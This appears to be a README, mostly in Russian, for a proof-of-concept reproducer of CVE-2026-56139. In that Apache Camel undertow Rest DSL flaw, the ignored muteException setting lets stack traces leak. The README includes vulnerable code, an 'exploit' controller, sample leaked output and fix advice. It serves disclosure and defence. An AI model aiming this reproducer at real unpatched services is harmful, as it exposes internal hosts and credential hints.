
PoC reproducer for CVE-2026-56139 (Apache Camel camel-undertow Rest DSL): the Rest DSL binding hard-codes muteException=false, so a configured muteException=true is ignored and an uncaught exception's full stack trace is returned to the client (CWE-209). Fixed in 4.14.8/4.18.3/4.21.0.
Этот проект демонстрирует проблему раскрытия информации в потребителе camel-undertow Rest DSL Apache Camel, отслеживаемую как CVE-2026-56139. Опция muteException управляет тем, возвращается ли клиенту HTTP детали необработанного исключения. На обычном конечной точке undertow опция работает — но Rest DSL undertow создаёт свою привязку ответа с muteException, жёстко закодированным в false, и никогда не копирует настроенное значение, поэтому muteException молча игнорируется в режиме REST, и полный стек-трейс Java всё равно возвращается:
// UndertowComponent (affected 4.18.2) — the Rest DSL binding is created without the endpoint's muteException
if (!map.containsKey("undertowHttpBinding")) {
endpoint.setUndertowHttpBinding(new RestUndertowHttpBinding(endpoint.isUseStreaming())); // muteException stays false
}
Поскольку undertowHttpBinding конечной точки теперь не равен null, UndertowEndpoint.getUndertowHttpBinding() возвращает эту Rest-привязку как есть и никогда не выполняет ветку, которая копирует на неё muteException конечной точки. Таким образом, маршрут, явно устанавливающий muteException=true, всё равно утекает стек-трейсы при обслуживании через Rest DSL — раскрывая внутренние имена хостов бэкенда, URL базы данных, подсказки учётных данных/хранилища, версии библиотек и местоположения исходного кода.
Данный PoC демонстрирует воздействие как раскрытие информации через сообщение об ошибке (CWE-209). Это аналог CVE-2026-49365 (который исправил значение по умолчанию muteException для обычных конечных точек camel-netty-http и camel-undertow), специфичный для Rest DSL; оба были исправлены вместе в рамках CAMEL-23651.
Консультация: https://camel.apache.org/security/CVE-2026-56139.html
Исправление заставляет путь Rest DSL копировать
endpoint.getMuteException()вRestUndertowHttpBinding, поэтому Rest DSL учитывает настройку (и исправленное значение по умолчаниюtrue).
// Both configured with muteException=true (camel.component.undertow.mute-exception=true):
restConfiguration().component("undertow").host("0.0.0.0").port(8888);
rest("/api").get("/orders").to("direct:boom"); // Rest DSL — IGNORES muteException, leaks
from("direct:boom").process(new FailingProcessor());
from("undertow:http://0.0.0.0:8889/plain/orders") // plain endpoint — HONOURS muteException, empty body
.process(new FailingProcessor());
CVE-2026-56139/
├── pom.xml # camel-undertow 4.18.2
├── Dockerfile
├── docker-compose.yml # single self-contained service
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── FailingProcessor.java # throws an exception carrying sensitive internal detail
│ ├── RestRoutes.java # undertow Rest DSL (:8888) + plain undertow endpoint (:8889)
│ └── ExploitController.java # attacker: GETs both, shows Rest DSL leaks while plain is muted
└── resources/
└── application.properties # camel.component.undertow.mute-exception=true
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
1) undertow Rest DSL :8888 (muteException=true, but the Rest binding hard-codes false)
HTTP 500
response body (NNNN bytes) — LEAKS internal detail:
| java.lang.IllegalStateException: Inventory lookup failed: cannot connect to
| jdbc:postgresql://prod-db.internal:5432/inventory (user=svc_inventory, ...)
| at com.example.FailingProcessor.process(FailingProcessor.java:...)
| ...[truncated]
2) plain undertow endpoint :8889 (same muteException=true — honoured)
HTTP 500
response body: <empty>
>>> Information disclosure: true
Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23651). После обновления undertow Rest DSL учитывает muteException (и по умолчанию устанавливает его в true), поэтому стек-трейс не возвращается.
До обновления добавьте onException(...).handled(true) (или глобальный обработчик ошибок), который возвращает общее сообщение вместо стек-трейса, и не полагайтесь только на muteException для потребителей undertow Rest DSL.
Данный воспроизводитель предоставляется только для исследований безопасности и авторизованного тестирования уязвимости, которая была публично раскрыта и исправлена. Не используйте его против систем без явного разрешения.
| Свойство | Значение |
|---|
| Компонент | camel-undertow (потребитель Rest DSL) |
| Затронутый класс | org.apache.camel.component.undertow.UndertowComponent — создаёт RestUndertowHttpBinding без копирования muteException (который поэтому по умолчанию false) |
| CWE | CWE-209 (Формирование сообщения об ошибке, содержащего конфиденциальную информацию) |
| Воздействие | Полный стек-трейс Java возвращается неаутентифицированному клиенту, даже если настроено muteException=true |
| Условия | Потребитель undertow Rest DSL; любой запрос, вызывающий исключение при обработке |
| Затронутые версии | С 4.0.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23651 (PR apache/camel#23913) |
| Автор | Yu Bao (PayPal) |